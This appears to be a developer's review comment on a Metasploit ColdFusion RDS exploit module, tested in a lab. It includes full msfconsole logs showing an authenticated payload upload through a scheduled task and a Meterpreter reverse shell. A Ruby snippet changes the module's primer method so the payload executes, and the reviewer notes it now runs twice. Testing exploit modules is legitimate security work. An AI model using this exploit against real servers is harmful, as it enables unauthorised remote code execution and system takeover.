I have a Cold Fusion 9 for testing, and it looks like it doesn't work for me. I can tell the cfm payload is uploaded to the web directory indeed, but I don't get a shell back. Here's my log:

```
msf exploit(coldfusion_rds) > check

[+] 10.0.1.56:80 - Administrator access available
[+] 10.0.1.56:80 - ColdFusion 9 Detected
[*] The target appears to be vulnerable.
msf exploit(coldfusion_rds) > run

[*] Started reverse handler on 10.0.1.76:4444 
[*] Building CFML shell...
[*] Using URL: http://0.0.0.0:8080/0IAO1W
[*]  Local IP: http://10.0.1.76:8080/0IAO1W
[*] Server started.
[*] 10.0.1.56:80 - Trying to upload payload via scheduled task...
[+] 10.0.1.56:80 - Logged in as Administrator!
[+] 10.0.1.56:80 - File path disclosed! C:\Inetpub\wwwroot\CFIDE
[*] 10.0.1.56:80 - Adding scheduled task
[*] 10.0.1.56:80 - Running scheduled task
[*] 10.0.1.56        coldfusion_rds - Our payload is at: 10.0.1.56:80\CFIDE\guGAirMiIYQHaZE.cfm
[*] 10.0.1.56        coldfusion_rds - Executing payload...
[+] 10.0.1.56:80 - Scheduled task completed successfully
[*] 10.0.1.56:80 - Deleting scheduled task
[*] Server stopped.
[*] Exploit completed, but no session was created.
msf exploit(coldfusion_rds) > 
```

However, if I add an exec_payload() call in the primer method. This will work:

The primer method:

```ruby
  def primer
    @payload_url = get_uri
    upload_payload
    exec_payload
  end
```

The results for adding exec_payload in primer:

```
msf exploit(coldfusion_rds) > rerun
[*] Reloading module...

[*] Started reverse handler on 10.0.1.76:4444 
[*] Building CFML shell...
[*] Using URL: http://0.0.0.0:8080/DbE7XgnM0I
[*]  Local IP: http://10.0.1.76:8080/DbE7XgnM0I
[*] Server started.
[*] 10.0.1.56:80 - Trying to upload payload via scheduled task...
[+] 10.0.1.56:80 - Logged in as Administrator!
[+] 10.0.1.56:80 - File path disclosed! C:\Inetpub\wwwroot\CFIDE
[*] 10.0.1.56:80 - Adding scheduled task
[*] 10.0.1.56:80 - Running scheduled task
[*] 10.0.1.56        coldfusion_rds - Our payload is at: 10.0.1.56:80\CFIDE\XkElibZAkJFO.cfm
[*] 10.0.1.56        coldfusion_rds - Executing payload...
[+] 10.0.1.56:80 - Scheduled task completed successfully
[*] 10.0.1.56:80 - Deleting scheduled task
[*] Our payload is at: 10.0.1.56:80\CFIDE\XkElibZAkJFO.cfm
[*] Executing payload...
[*] Sending stage (769024 bytes) to 10.0.1.56
[*] Meterpreter session 2 opened (10.0.1.76:4444 -> 10.0.1.56:2297) at 2013-12-09 20:01:21 -0600
[*] Server stopped.

meterpreter >
```

However, adding exec_payload in primer() also means the module is trying to call the payload twice. I believe this needs to be corrected.